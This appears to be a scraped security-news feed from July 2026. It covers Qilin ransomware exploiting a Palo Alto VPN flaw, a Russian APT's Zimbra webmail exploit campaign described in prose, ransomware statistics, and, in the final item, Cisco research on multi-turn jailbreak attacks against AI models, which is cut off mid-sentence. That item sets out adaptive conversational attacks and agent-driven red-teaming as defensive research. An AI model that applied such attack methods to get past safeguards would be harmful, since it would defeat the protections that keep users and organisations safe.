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<p class="wp-block-paragraph">Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin <a href="https://www.csoonline.com/article/563507/what-is-ransomware-how-it-works-and-how-to-remove-it.html">ransomware</a> strain.</p>



<p class="wp-block-paragraph">A critical authentication bypass flaw (<a href="https://nvd.nist.gov/vuln/detail/cve-2026-0257">CVE-2026-0257</a>) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability <a href="https://www.csoonline.com/article/4179847/attackers-exploit-palo-alto-globalprotect-flaw-days-after-disclosure.html">came within days of disclosure</a>.</p>



<p class="wp-block-paragraph">“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers <a href="https://arcticwolf.com/resources/blog/exploitation-of-cve-2026-0257-leads-to-qilin-ransomware/">wrote in a post on the threat</a>.</p>



<p class="wp-block-paragraph">The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.</p>



<h2 class="wp-block-heading">Ransomware takes aim at the edge</h2>



<p class="wp-block-paragraph">Beyond GlobalProtect, <a href="https://www.csoonline.com/article/4079316/cross-platform-ransomware-qilin-weaponizes-linux-binaries-against-windows-hosts.html">Qilin</a> — the most active threat group in Q2 2026, responsible for 14% of attacks, according to <a href="https://www.nccgroup.com/resource-hub/cyber-threat-intelligence-reports/">NCC Group’s latest Quarterly Cyber Threat Intelligence Report</a> —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.</p>



<p class="wp-block-paragraph">Check Point warned in June of <a href="https://www.csoonline.com/article/4182898/check-point-warns-of-ransomware-linked-attacks-exploiting-outdated-vpn-protocol.html">ransomware attacks against VPNs</a> that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a <a href="https://www.csoonline.com/article/4192741/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild.html">CitrixBleed-like flaw</a> in its NetScalar devices that had come under attack.</p>



<p class="wp-block-paragraph">Meanwhile, Fortibleed, a massive credential-compromise campaign, <a href="https://www.csoonline.com/article/4186790/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide.html">exposed 75,000 FortiGate firewalls in June</a>.  </p>



<p class="wp-block-paragraph">Qilin is by no means alone in increasing its operations against VPNs and other network security tools.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4178580/the-gentlemen-are-coming-for-your-files-and-then-your-network.html">The Gentlemen</a>, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.</p>



<p class="wp-block-paragraph">Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus <a href="https://www.twinstrata.com/news/akira-ransomware/">products from Ivanti, Cisco, and Fortinet</a>.</p>



<h2 class="wp-block-heading">In the line of fire</h2>



<p class="wp-block-paragraph">Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as <a href="https://www.csoonline.com/article/4074945/network-security-devices-endanger-orgs-with-90s-era-flaws.html">basic and readily preventable vulnerabilities</a>.</p>



<p class="wp-block-paragraph">A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.</p>



<p class="wp-block-paragraph">“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.</p>



<p class="wp-block-paragraph">Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the <a href="https://www.csoonline.com/article/4068379/oracle-issues-emergency-patch-for-zero-day-flaw-exploited-by-cl0p-ransomware-gang.html">Clop ransomware gang hacked hundreds of companies</a> by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.</p>



<h2 class="wp-block-heading">Edge of darkness</h2>



<p class="wp-block-paragraph">VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.</p>



<p class="wp-block-paragraph">“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”</p>



<p class="wp-block-paragraph">VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.</p>



<p class="wp-block-paragraph">“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.</p>



<p class="wp-block-paragraph">Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”</p>



<p class="wp-block-paragraph">Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.</p>



<p class="wp-block-paragraph">“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”</p>



<h2 class="wp-block-heading">Hardened perimeter</h2>



<p class="wp-block-paragraph">CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.</p>



<p class="wp-block-paragraph">Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.</p>



<p class="wp-block-paragraph">Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.</p>



<p class="wp-block-paragraph">Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.</p>



<p class="wp-block-paragraph">“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.</p>
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<title><![CDATA[Top 10 Best 24/7 Security Monitoring Companies in 2026]]></title>
<description><![CDATA[A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security…
Read more...]]></description>
<link>https://tsecurity.de/de/3690839/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/</link>
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<pubDate>Fri, 24 Jul 2026 08:40:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/top-10-best-24-7-security-monitoring-companies-in-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/top-10-best-24-7-security-monitoring-companies-in-2026/">Top 10 Best 24/7 Security Monitoring Companies in 2026</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Top 10 Best 24/7 Security Monitoring Companies in 2026]]></title>
<description><![CDATA[A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security monitoring...]]></description>
<link>https://tsecurity.de/de/3690813/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690813/it-security-nachrichten/top-10-best-247-security-monitoring-companies-in-2026/</guid>
<pubDate>Fri, 24 Jul 2026 08:26:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A comprehensive and proactive security posture is non-negotiable for organizations in 2026. With a rapidly evolving threat landscape and a global shortage of cybersecurity talent, relying on an internal team alone to provide round-the-clock protection is often unfeasible. 24/7 security monitoring companies fill this critical gap by serving as an extension of an organization’s security […]</p>
<p>The post <a href="https://gbhackers.com/24-7-security-monitoring-compaines/">Top 10 Best 24/7 Security Monitoring Companies in 2026</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
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<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
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<title><![CDATA[Need advice on Alarm Monitoring gig]]></title>
<description><![CDATA[Hey everyone so I've been in the security business for 11 years. I've done hospital, driving, escorts, scan points, and command center work. I moved to California recently and just got hired to do Alarm Monitoring for ADT. It was listed as security/dispatch during third shift. I'm not sure if it'...]]></description>
<link>https://tsecurity.de/de/3690356/it-security-nachrichten/need-advice-on-alarm-monitoring-gig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690356/it-security-nachrichten/need-advice-on-alarm-monitoring-gig/</guid>
<pubDate>Fri, 24 Jul 2026 00:27:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey everyone so I've been in the security business for 11 years. I've done hospital, driving, escorts, scan points, and command center work.</p> <p>I moved to California recently and just got hired to do Alarm Monitoring for ADT. It was listed as security/dispatch during third shift.</p> <p>I'm not sure if it's the right place to ask but does anyone have advice for these types of jobs?</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/beepzooom"> /u/beepzooom </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1v4awwv/need_advice_on_alarm_monitoring_gig/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1v4awwv/need_advice_on_alarm_monitoring_gig/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you 